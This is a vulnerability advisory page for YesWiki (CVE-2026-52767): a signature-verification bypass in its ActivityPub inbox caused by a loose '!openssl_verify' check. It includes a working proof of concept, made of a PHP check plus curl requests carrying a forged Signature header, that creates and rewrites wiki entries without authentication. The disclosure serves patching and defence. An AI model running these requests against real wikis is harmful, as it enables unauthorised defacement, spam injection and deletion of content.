GHSA-MV28-WJ57-F57G

Vulnerability from github – Published: 2026-07-09 20:58 – Updated: 2026-07-09 20:58
VLAI
Summary
YesWiki Vulnerable to Unauthenticated ActivityPub Signature-Verification Bypass via `!openssl_verify(...)` accepting `int(-1)`
Details

Summary

HttpSignatureService::verifySignature() checks the result of PHP's openssl_verify() with a loose boolean negation - if (!openssl_verify(...)) { throw ... }. PHP's openssl_verify has four possible return values:

return meaning !return
1 signature is valid false
0 signature is invalid true
-1 the verify call itself failed (internal error) false
false input rejected by PHP's argument validation true

The -1 row is the bypass: PHP's truthiness rules make -1 a truthy value, so !(-1) === false, the throw is skipped, and the controller proceeds to processActivity(). Any condition that makes OpenSSL's EVP_VerifyFinal() return -1 triggers the bypass.

The two practical paths to -1 we are aware of:

  1. DSA / EC public key with an RSA-only algorithm. openssl_verify(..., $dsaKey, "RSA-SHA256") returns int(-1) on PHP 8.3 + OpenSSL 3.x. This is the path the PoC uses; it works against an unmodified php:8.3-apache lab and against any deployment using the runtime stack YesWiki's own docker image ships.
  2. Older PHP + older OpenSSL where any unrecognised digest name returned -1 rather than false. The reporting research mentions this path; on current stacks false is returned instead and the throw fires correctly. The DSA path replaces it.

The reachable consequence is the same in both cases - the controller silently treats a failed verification as success and processes the attacker's payload.

Details

Affected component

  • File: tools/bazar/services/HttpSignatureService.php
  • Method: HttpSignatureService::verifySignature(Request $request)
  • Sink: line 130
// tools/bazar/services/HttpSignatureService.php  (v4.6.5 = origin/doryphore-dev HEAD)
public function verifySignature(Request $request) {
    ...                                                          // [Signature parse,
                                                                 //  outbound key fetch — see the SSRF advisory]
    $actorPublicKey = openssl_get_publickey($actor['publicKey']['publicKeyPem']);
    ...
    if (!openssl_verify(                                         // (a) LOOSE BOOLEAN CHECK
            join("\n", $sigParts),
            base64_decode($sigConf['signature']),
            $actorPublicKey,
            strtoupper($sigConf['algorithm'])
    )) {
        throw new Exception('Signature verification failed');    // (b) skipped when openssl_verify == -1
    }

    if ($request->headers->get('Digest') !== $this->getDigest($request->getContent())) {
        throw new Exception('Digest mismatch');                  // (c) still enforced — easy to satisfy
    }
}

The inbox controller calls verifySignature() and then runs processActivity($activity, $form), which is what actually mutates state.

End-to-end attack chain

A single unauthenticated POST per operation. No session, no CSRF, no real signature.

  1. Stand up an actor document that the attacker controls — any public web server (or webhook receiver) that returns a JSON body with the shape:

    json { "id": "<exact URL the server will GET>", "publicKey": { "id": "<same URL>", "publicKeyPem": "<DSA public key in PEM form>" } }

  2. Send a Create / Update / Delete activity to POST /api/forms/{enabled-form-id}/actor/inbox:

    ```http POST /?api/forms/2/actor/inbox HTTP/1.1 Host: target.example Content-Type: application/activity+json Date: Digest: SHA-256= Signature: keyId="",algorithm="RSA-SHA256",headers="(request-target) host date digest content-type",signature="anVuaw=="

    {"@context":"https://www.w3.org/ns/activitystreams","type":"Create", "actor":"", "object":{"id":"","type":"Event","name":"...","startTime":"..."}} ```

  3. YesWiki fetches the actor document (line 96 - the SSRF; see sibling advisory), parses it, calls openssl_get_publickey(...) which returns a valid OpenSSL key handle (DSA is parsed successfully), then calls openssl_verify($data, "junk-sig", $dsaKey, "RSA-SHA256"). EVP_VerifyFinal returns -1. The check !openssl_verify(...) evaluates to false and the throw is skipped.

  4. Digest header is enforced, but it's a simple SHA-256= of the body the attacker chose, so satisfying it costs one sha256sum.
  5. processActivity($activity, $form) runs: Create → EntryManager::create(), Update → EntryManager::update(), Delete → EntryManager::delete(). The triple store records the attacker's object.id as the source URL, which is how Update / Delete locate the entry on subsequent calls.

PoC

Pre Reqs

  • Yeswiki v4.6.5 lab image (Setup via podman)
  • ActivityPub enabled on the target form

For the rest of this document:

BASE="http://localhost:8085"
CTR="yeswiki-poc"
KEYID="http://127.0.0.1:9999/actors/attacker"
FORM_ID=2
MARKER="DEMO_$(date +%s)"

PHP one-liner - runs against the exact PHP+OpenSSL the lab is using. Confirm that openssl_verify returns -1.

podman exec "$CTR" php -r '
    $pem = file_get_contents("/tmp/attacker_keys/dsa.pub");
    $key = openssl_get_publickey($pem);
    $r   = openssl_verify("hello", "junk", $key, "RSA-SHA256");
    echo "openssl_verify returned: " . var_export($r, true) . "\n";
    echo "!openssl_verify(...)  is: " . var_export(!$r, true) . "\n";
'

Expected output:

openssl_verify returned: -1
!openssl_verify(...)  is: false

Verify the listener is up and serving the DSA-key actor

podman exec "$CTR" cat /tmp/ssrf_listener.pid
podman exec "$CTR" ps -p $(podman exec "$CTR" cat /tmp/ssrf_listener.pid) -o stat=
podman exec "$CTR" curl -s http://127.0.0.1:9999/actors/attacker | head -c 300; echo

Expected output: a PID, S (sleeping/alive), and a JSON document beginning with {"@context":"https://www.w3.org/ns/activitystreams","id":"http://127.0.0.1:9999/actors/attacker", ... and a publicKeyPem field whose value starts with -----BEGIN PUBLIC KEY-----\nMIIB... (the DSA key - note the Bv prefix typical of DSA-key DER, not the Ij of RSA).

Build a JSON Create activity that the Agenda form's reverse-semantic template can map (it expects an Event with name, content, startTime, endTime, location.address.*, etc.):

ACTIVITY='{
  "@context": "https://www.w3.org/ns/activitystreams",
  "type": "Create",
  "id":   "http://127.0.0.1:9999/activity/c-'"$MARKER"'",
  "actor":"'"$KEYID"'",
  "object": {
    "id":   "http://127.0.0.1:9999/objects/'"$MARKER"'",
    "type": "Event",
    "name": "'"$MARKER"' — created via the signature-verification bypass",
    "content": "openssl_verify returned -1; YesWiki accepted us anyway",
    "startTime": "2026-12-01T10:00:00Z",
    "endTime":   "2026-12-01T12:00:00Z"
  }
}'

# Digest must equal SHA-256= base64(sha256(body)) - this header IS enforced
DIGEST="SHA-256=$(printf '%s' "$ACTIVITY" | openssl dgst -sha256 -binary | base64)"
DATE="$(date -uR | sed 's/+0000/GMT/')"
SIG='keyId="'"$KEYID"'",algorithm="RSA-SHA256",headers="(request-target) host date digest content-type",signature="anVuaw=="'

curl -s -X POST "${BASE}/?api/forms/${FORM_ID}/actor/inbox" \
     -H "Content-Type: application/activity+json" \
     -H "Date: ${DATE}" \
     -H "Digest: ${DIGEST}" \
     -H "Signature: ${SIG}" \
     --data-raw "$ACTIVITY" \
     -w '\n  HTTP %{http_code}\n'

Now, try udating the entry via the same bypass

The triple store records <tag, sourceUrl, object.id> from the Create. An Update activity referencing the same object.id will look that up and rewrite the entry's body.

UPDATE_ACT='{
  "@context": "https://www.w3.org/ns/activitystreams",
  "type": "Update",
  "id":   "http://127.0.0.1:9999/activity/u-'"$MARKER"'",
  "actor":"'"$KEYID"'",
  "object": {
    "id":   "http://127.0.0.1:9999/objects/'"$MARKER"'",
    "type": "Event",
    "name": "'"$MARKER"'_UPDATED — title was changed by an unauthenticated POST",
    "content": "this row was modified via the SAME bypass",
    "startTime": "2026-12-01T10:00:00Z",
    "endTime":   "2026-12-01T12:00:00Z"
  }
}'
DIGEST="SHA-256=$(printf '%s' "$UPDATE_ACT" | openssl dgst -sha256 -binary | base64)"
DATE="$(date -uR | sed 's/+0000/GMT/')"

curl -s -X POST "${BASE}/?api/forms/${FORM_ID}/actor/inbox" \
     -H "Content-Type: application/activity+json" \
     -H "Date: ${DATE}" \
     -H "Digest: ${DIGEST}" \
     -H "Signature: ${SIG}" \
     --data-raw "$UPDATE_ACT" \
     -w '  HTTP %{http_code}\n'

Expected output: HTTP 200, empty body.

Impact

CRUD on bazar entries of any ActivityPub-enabled form, without authentication:

  • Create - EntryManager::create($form['bn_id_nature'], $entry, false, $object['id']). New row in yeswiki_pages and a triple <tag, sourceUrl, $object['id']> in yeswiki_triples.
  • Update - looks up the entry via the source-URL triple and rewrites its body with the attacker-supplied content.
  • Delete - same lookup, then EntryManager::delete($tag, true).

Concrete operational impact:

  • Defacement / content injection at scale - a public-facing wiki with the Agenda or Blog-actu form federated becomes a publishing target for any attacker who can route TCP to the YesWiki host.
  • Spam / SEO poisoning through the Bazar entry body, which is HTML-rendered for the wiki and indexed by search.
  • Erasure of legitimate federated content - any entry previously created via ActivityPub can be enumerated through the public outbox endpoint, its object.id discovered, and then deleted by replaying the chain with type=Delete.
  • Triple-store pollution - the yeswiki_triples table grows with attacker-controlled sourceUrl triples that survive entry deletion and can interfere with later federation flows.
  • Reputation / federation poisoning - the wiki appears (to remote ActivityPub peers and to its own users) to be receiving signed content from a remote actor, when in reality anyone on the network can post.
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "yeswiki/yeswiki"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.6.2"
            },
            {
              "fixed": "4.6.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-52767"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-09T20:58:12Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n`HttpSignatureService::verifySignature()` checks the result of PHP\u0027s `openssl_verify()` with a **loose boolean negation** - `if (!openssl_verify(...)) { throw ... }`. PHP\u0027s `openssl_verify` has four possible return values:\n\n| return | meaning                                          | `!return` |\n| ------ | ------------------------------------------------ | --------- |\n| `1`    | signature is valid                               | `false`   |\n| `0`    | signature is invalid                             | `true` \u2713  |\n| `-1`   | the verify call itself failed (internal error)   | **`false` \u274c** |\n| `false`| input rejected by PHP\u0027s argument validation      | `true` \u2713  |\n\nThe `-1` row is the bypass: PHP\u0027s truthiness rules make `-1` a truthy value, so `!(-1) === false`, the throw is skipped, and the controller proceeds to `processActivity()`. Any condition that makes OpenSSL\u0027s `EVP_VerifyFinal()` return `-1` triggers the bypass.\n\nThe two practical paths to `-1` we are aware of:\n\n1. **DSA / EC public key with an RSA-only algorithm.** `openssl_verify(..., $dsaKey, \"RSA-SHA256\")` returns `int(-1)` on PHP 8.3 + OpenSSL 3.x. This is the path the PoC uses; it works against an unmodified `php:8.3-apache` lab and against any deployment using the runtime stack YesWiki\u0027s own docker image ships.\n2. **Older PHP + older OpenSSL** where any unrecognised digest name returned `-1` rather than `false`. The reporting research mentions this path; on current stacks `false` is returned instead and the throw fires correctly. The DSA path replaces it.\n\nThe reachable consequence is the same in both cases - the controller silently treats a failed verification as success and processes the attacker\u0027s payload.\n\n## Details\n### Affected component\n\n* **File:** `tools/bazar/services/HttpSignatureService.php`\n* **Method:** `HttpSignatureService::verifySignature(Request $request)`\n* **Sink:** line **130**\n\n```php\n// tools/bazar/services/HttpSignatureService.php  (v4.6.5 = origin/doryphore-dev HEAD)\npublic function verifySignature(Request $request) {\n    ...                                                          // [Signature parse,\n                                                                 //  outbound key fetch \u2014 see the SSRF advisory]\n    $actorPublicKey = openssl_get_publickey($actor[\u0027publicKey\u0027][\u0027publicKeyPem\u0027]);\n    ...\n    if (!openssl_verify(                                         // (a) LOOSE BOOLEAN CHECK\n            join(\"\\n\", $sigParts),\n            base64_decode($sigConf[\u0027signature\u0027]),\n            $actorPublicKey,\n            strtoupper($sigConf[\u0027algorithm\u0027])\n    )) {\n        throw new Exception(\u0027Signature verification failed\u0027);    // (b) skipped when openssl_verify == -1\n    }\n\n    if ($request-\u003eheaders-\u003eget(\u0027Digest\u0027) !== $this-\u003egetDigest($request-\u003egetContent())) {\n        throw new Exception(\u0027Digest mismatch\u0027);                  // (c) still enforced \u2014 easy to satisfy\n    }\n}\n```\n\nThe inbox controller calls `verifySignature()` and then runs `processActivity($activity, $form)`, which is what actually mutates state.\n\n### End-to-end attack chain\n\nA single unauthenticated POST per operation. No session, no CSRF, no real signature.\n\n1. **Stand up an actor document** that the attacker controls \u2014 any public web server (or webhook receiver) that returns a JSON body with the shape:\n\n    ```json\n    {\n      \"id\": \"\u003cexact URL the server will GET\u003e\",\n      \"publicKey\": {\n        \"id\": \"\u003csame URL\u003e\",\n        \"publicKeyPem\": \"\u003cDSA public key in PEM form\u003e\"\n      }\n    }\n    ```\n\n2. **Send a Create / Update / Delete activity** to `POST /api/forms/{enabled-form-id}/actor/inbox`:\n\n    ```http\n    POST /?api/forms/2/actor/inbox HTTP/1.1\n    Host: target.example\n    Content-Type: application/activity+json\n    Date: \u003cRFC1123 date\u003e\n    Digest: SHA-256=\u003cbase64(sha256(body))\u003e\n    Signature: keyId=\"\u003cactor URL\u003e\",algorithm=\"RSA-SHA256\",headers=\"(request-target) host date digest content-type\",signature=\"anVuaw==\"\n\n    {\"@context\":\"https://www.w3.org/ns/activitystreams\",\"type\":\"Create\",\n     \"actor\":\"\u003cactor URL\u003e\",\n     \"object\":{\"id\":\"\u003cunique object URI\u003e\",\"type\":\"Event\",\"name\":\"...\",\"startTime\":\"...\"}}\n    ```\n\n3. **YesWiki fetches the actor document** (line 96 - the SSRF; see sibling advisory), parses it, calls `openssl_get_publickey(...)` which returns a valid OpenSSL key handle (DSA is parsed successfully), then calls `openssl_verify($data, \"junk-sig\", $dsaKey, \"RSA-SHA256\")`. EVP_VerifyFinal returns `-1`. The check `!openssl_verify(...)` evaluates to `false` and the throw is skipped.\n4. **`Digest` header is enforced**, but it\u0027s a simple `SHA-256=` of the body the attacker chose, so satisfying it costs one `sha256sum`.\n5. **`processActivity($activity, $form)` runs**: Create \u2192 `EntryManager::create()`, Update \u2192 `EntryManager::update()`, Delete \u2192 `EntryManager::delete()`. The triple store records the attacker\u0027s `object.id` as the source URL, which is how Update / Delete locate the entry on subsequent calls.\n\n## PoC\n### Pre Reqs\n\n* Yeswiki v4.6.5 lab image (Setup via podman)\n* ActivityPub enabled on the target form\n\nFor the rest of this document:\n\n```bash\nBASE=\"http://localhost:8085\"\nCTR=\"yeswiki-poc\"\nKEYID=\"http://127.0.0.1:9999/actors/attacker\"\nFORM_ID=2\nMARKER=\"DEMO_$(date +%s)\"\n```\n\nPHP one-liner - runs against the exact PHP+OpenSSL the lab is using. Confirm that `openssl_verify` returns `-1`.\n\n```bash\npodman exec \"$CTR\" php -r \u0027\n    $pem = file_get_contents(\"/tmp/attacker_keys/dsa.pub\");\n    $key = openssl_get_publickey($pem);\n    $r   = openssl_verify(\"hello\", \"junk\", $key, \"RSA-SHA256\");\n    echo \"openssl_verify returned: \" . var_export($r, true) . \"\\n\";\n    echo \"!openssl_verify(...)  is: \" . var_export(!$r, true) . \"\\n\";\n\u0027\n```\n\n**Expected output:**\n\n```\nopenssl_verify returned: -1\n!openssl_verify(...)  is: false\n```\n\nVerify the listener is up and serving the DSA-key actor\n\n```bash\npodman exec \"$CTR\" cat /tmp/ssrf_listener.pid\npodman exec \"$CTR\" ps -p $(podman exec \"$CTR\" cat /tmp/ssrf_listener.pid) -o stat=\npodman exec \"$CTR\" curl -s http://127.0.0.1:9999/actors/attacker | head -c 300; echo\n```\n\n**Expected output:** a PID, `S` (sleeping/alive), and a JSON document beginning with `{\"@context\":\"https://www.w3.org/ns/activitystreams\",\"id\":\"http://127.0.0.1:9999/actors/attacker\", ...` and a `publicKeyPem` field whose value starts with `-----BEGIN PUBLIC KEY-----\\nMIIB...` (the DSA key - note the `Bv` prefix typical of DSA-key DER, not the `Ij` of RSA).\n\nBuild a JSON Create activity that the Agenda form\u0027s reverse-semantic template can map (it expects an `Event` with `name`, `content`, `startTime`, `endTime`, `location.address.*`, etc.):\n\n```bash\nACTIVITY=\u0027{\n  \"@context\": \"https://www.w3.org/ns/activitystreams\",\n  \"type\": \"Create\",\n  \"id\":   \"http://127.0.0.1:9999/activity/c-\u0027\"$MARKER\"\u0027\",\n  \"actor\":\"\u0027\"$KEYID\"\u0027\",\n  \"object\": {\n    \"id\":   \"http://127.0.0.1:9999/objects/\u0027\"$MARKER\"\u0027\",\n    \"type\": \"Event\",\n    \"name\": \"\u0027\"$MARKER\"\u0027 \u2014 created via the signature-verification bypass\",\n    \"content\": \"openssl_verify returned -1; YesWiki accepted us anyway\",\n    \"startTime\": \"2026-12-01T10:00:00Z\",\n    \"endTime\":   \"2026-12-01T12:00:00Z\"\n  }\n}\u0027\n\n# Digest must equal SHA-256= base64(sha256(body)) - this header IS enforced\nDIGEST=\"SHA-256=$(printf \u0027%s\u0027 \"$ACTIVITY\" | openssl dgst -sha256 -binary | base64)\"\nDATE=\"$(date -uR | sed \u0027s/+0000/GMT/\u0027)\"\nSIG=\u0027keyId=\"\u0027\"$KEYID\"\u0027\",algorithm=\"RSA-SHA256\",headers=\"(request-target) host date digest content-type\",signature=\"anVuaw==\"\u0027\n\ncurl -s -X POST \"${BASE}/?api/forms/${FORM_ID}/actor/inbox\" \\\n     -H \"Content-Type: application/activity+json\" \\\n     -H \"Date: ${DATE}\" \\\n     -H \"Digest: ${DIGEST}\" \\\n     -H \"Signature: ${SIG}\" \\\n     --data-raw \"$ACTIVITY\" \\\n     -w \u0027\\n  HTTP %{http_code}\\n\u0027\n```\n\nNow, try udating the entry via the same bypass\n\nThe triple store records `\u003ctag, sourceUrl, object.id\u003e` from the Create. An Update activity referencing the same `object.id` will look that up and rewrite the entry\u0027s body.\n\n```bash\nUPDATE_ACT=\u0027{\n  \"@context\": \"https://www.w3.org/ns/activitystreams\",\n  \"type\": \"Update\",\n  \"id\":   \"http://127.0.0.1:9999/activity/u-\u0027\"$MARKER\"\u0027\",\n  \"actor\":\"\u0027\"$KEYID\"\u0027\",\n  \"object\": {\n    \"id\":   \"http://127.0.0.1:9999/objects/\u0027\"$MARKER\"\u0027\",\n    \"type\": \"Event\",\n    \"name\": \"\u0027\"$MARKER\"\u0027_UPDATED \u2014 title was changed by an unauthenticated POST\",\n    \"content\": \"this row was modified via the SAME bypass\",\n    \"startTime\": \"2026-12-01T10:00:00Z\",\n    \"endTime\":   \"2026-12-01T12:00:00Z\"\n  }\n}\u0027\nDIGEST=\"SHA-256=$(printf \u0027%s\u0027 \"$UPDATE_ACT\" | openssl dgst -sha256 -binary | base64)\"\nDATE=\"$(date -uR | sed \u0027s/+0000/GMT/\u0027)\"\n\ncurl -s -X POST \"${BASE}/?api/forms/${FORM_ID}/actor/inbox\" \\\n     -H \"Content-Type: application/activity+json\" \\\n     -H \"Date: ${DATE}\" \\\n     -H \"Digest: ${DIGEST}\" \\\n     -H \"Signature: ${SIG}\" \\\n     --data-raw \"$UPDATE_ACT\" \\\n     -w \u0027  HTTP %{http_code}\\n\u0027\n```\n\n**Expected output:** `HTTP 200`, empty body.\n\n## Impact\nCRUD on bazar entries of any ActivityPub-enabled form, **without authentication**:\n\n* **Create** - `EntryManager::create($form[\u0027bn_id_nature\u0027], $entry, false, $object[\u0027id\u0027])`. New row in `yeswiki_pages` and a triple `\u003ctag, sourceUrl, $object[\u0027id\u0027]\u003e` in `yeswiki_triples`.\n* **Update** - looks up the entry via the source-URL triple and rewrites its body with the attacker-supplied content.\n* **Delete** - same lookup, then `EntryManager::delete($tag, true)`.\n\nConcrete operational impact:\n\n* **Defacement / content injection** at scale - a public-facing wiki with the Agenda or Blog-actu form federated becomes a publishing target for any attacker who can route TCP to the YesWiki host.\n* **Spam / SEO poisoning** through the Bazar entry body, which is HTML-rendered for the wiki and indexed by search.\n* **Erasure of legitimate federated content** - any entry previously created via ActivityPub can be enumerated through the public outbox endpoint, its `object.id` discovered, and then deleted by replaying the chain with `type=Delete`.\n* **Triple-store pollution** - the `yeswiki_triples` table grows with attacker-controlled `sourceUrl` triples that survive entry deletion and can interfere with later federation flows.\n* **Reputation / federation poisoning** - the wiki appears (to remote ActivityPub peers and to its own users) to be receiving signed content from a remote actor, when in reality anyone on the network can post.",
  "id": "GHSA-mv28-wj57-f57g",
  "modified": "2026-07-09T20:58:12Z",
  "published": "2026-07-09T20:58:12Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/YesWiki/yeswiki/security/advisories/GHSA-mv28-wj57-f57g"
    },
    {
      "type": "WEB",
      "url": "https://github.com/YesWiki/yeswiki/commit/d1795e0301e1a1078f17b4b98f56fff70de2029e"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/YesWiki/yeswiki"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "YesWiki Vulnerable to Unauthenticated ActivityPub Signature-Verification Bypass via `!openssl_verify(...)` accepting `int(-1)`"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…